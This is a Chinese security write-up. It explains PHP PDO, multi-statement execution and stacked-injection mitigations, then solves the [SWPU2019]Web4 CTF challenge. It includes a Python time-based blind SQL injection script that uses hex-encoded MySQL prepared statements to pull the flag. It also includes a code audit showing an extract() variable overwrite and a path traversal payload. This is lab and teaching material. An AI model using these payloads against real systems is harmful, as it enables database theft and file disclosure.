0x01 PDO:
PDO(PHP Data Objects)是PHP数据对象的2缩写,是一种在PHP里连接数据库的使用接口。PDO与mysqli曾经被建议用来取代原本PHP在用的mysql相关函数,基于数据库使用的安全性,因为后者欠缺对于SQL注入的防护。
0x01 PDO的特点
1,编码的一致性
由于PHP可用的各种数据库扩展是由不同发行者编写的,所以尽管所有的扩展都提供了基本相同的特性,却不满足编码的一致性。PDO消除了这种不一致,提供了可用于各种数据库的单一接口;
2.灵活性
因为PDO在运行时加载必须的数据库驱动程序,所以不需要在每次使用不同数据库时重新配置和重新编译PHP。举例来说,如果数据库需要从SQL转换为MySQL,那么您只需装入PDO_MYSQL驱动程序。
3.面向对象特性
PDO利用PHP5的面向对象特性,可以获得更强大、更高效的数据库通信。
4.高性能
PDO是用C编写的,编译为PHP,与用PHP编写的其他解决方案相比,虽然其他都相同,但提供了更高的性能。
PDO随着PHP5.1发行,在PHP5.0的PECL扩展中也可以使用,无法运行于之前的php版本,
0x02 PDO多语句执行
PHP连接MySQL数据库有三种方式(MySQL、Mysqli、PDO),同时官方对三者也做了列表性比较:
可以看到Mysqli和PDO是都是支持多语句执行的
呢么他们的区别是什么呢:
Mysqli通过multi_query()函数来进行多语句执行。
<?php
$host='192.168.27.61';
$dbName='test';
$user='root';
$pass='root';
$mysqli = mysqli_connect($host,$user,$pass,$dbName);
if(mysqli_connect_errno())
{
echo mysqli_connect_error();
}
$sql = "select * from user where id=1;";
$sql .= "create table test2 like user";
$mysqli->multi_query($sql);
$data = $mysqli->store_result();
print_r($data->fetch_row());
mysqli_close($mysqli);
请求脚本后发现数据库中成功创建了test2表,说明多语句成功执行
PDO通过query()函数同数据库交互
<?php
$dbms='mysql';
$host='192.168.27.61';
$dbName='test';
$user='root';
$pass='root';
$dsn="$dbms:host=$host;dbname=$dbName";
try {
$pdo = new PDO($dsn, $user, $pass);
} catch (PDOException $e) {
echo $e;
}
$sql = "select * from user where id=1;";
$sql .= "create table test2 like user";
$stmt = $pdo->query($sql);
while($row=$stmt->fetch(PDO::FETCH_ASSOC))
{
var_dump($row);
echo "<br>";
}
PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置PDO::MYSQL_ATTR_MULTI_STATEMENTS为false时可能会造成堆叠注入,如果想禁止多语句执行,可在创建PDO实例时将PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为false
new PDO($dsn, $user, $pass, array( PDO::MYSQL_ATTR_MULTI_STATEMENTS => false))
0x03 MySQL预处理
MySQL数据库支持预处理,预处理或者说是可传参的语句用来高效的执行重复的语句。
MySQL官方将prepare、execute、deallocate统称为PREPARE STATEMENT
预制语句的SQL语法基于三个SQL语句:
prepare stmt_name from preparable_stmt;
execute stmt_name [using @var_name [, @var_name] …];
{deallocate | drop} prepare stmt_name;
0x04 PDO预处理
PDO分为模拟预处理和非模拟预处理。
模拟预处理是防止某些数据库不支持预处理而设置的,在初始化PDO驱动时,可以设置一项参数,PDO::ATTR_EMULATE_PREPARES,作用是打开模拟预处理(true)或者关闭(false),默认为true。PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行。
非模拟预处理则是通过数据库服务器来进行预处理动作,主要分为两步:第一步是prepare阶段,发送SQL语句模板到数据库服务器;第二步通过execute()函数发送占位符参数给数据库服务器进行执行。
0x05 总结
1, 使用PDO时尽量使用非模拟预处理。
2, 创建PDO实例时将PDO::MYSQL_ATTR_MULTI_STATEMENTS设置为false,禁止多语句查询。
3, SQL语句模板不使用变量动态拼接生成
0x02 [SWPU2019]Web4
0x01 通过mysql预处理与十六进制绕过过滤来过滤脚本
#author: c1e4r
import requests
import json
import time
def main():
#题目地址
url = '''http://ed59e513-784d-42b5-81d0-2c4dc976d086.node3.buuoj.cn/index.php?r=Login/Index'''
#注入payload
payloads = "admin';set @a=0x{0};prepare b from @a;execute b--+"
flag = ''
for i in range(1,30):
#查询payload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0,128):
#将构造好的payload进行16进制转码和json转码
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
if __name__ == '__main__':
main()
源码在/glzjin_wants_a_girl_friend.zip
0x02 代码审计:
前端应用逻辑的基础在 controller,其他文件都是基于 basecontroller.php
private $viewPath;
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}
}
extract 传入 viewdata 数组造成变量覆盖,发现利用 loadView 方法的并且第二个元素可控的地方只有 UserController.php
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}
在Controller/UserController.php中,找到可控制的参数直接来源于_REQUEST。
<div class="fakeimg"><?php
if(!isset($img_file)) {
$img_file = '/../favicon.ico';
}
$img_dir = dirname(__FILE__) . $img_file;
$img_base64 = imgToBase64($img_dir);
echo '<img src="' . $img_base64 . '">'; //图片形式展示
?></div>
这里的$img_file的值可利用前面的逻辑进行覆盖,传入img_file=./…/flag.php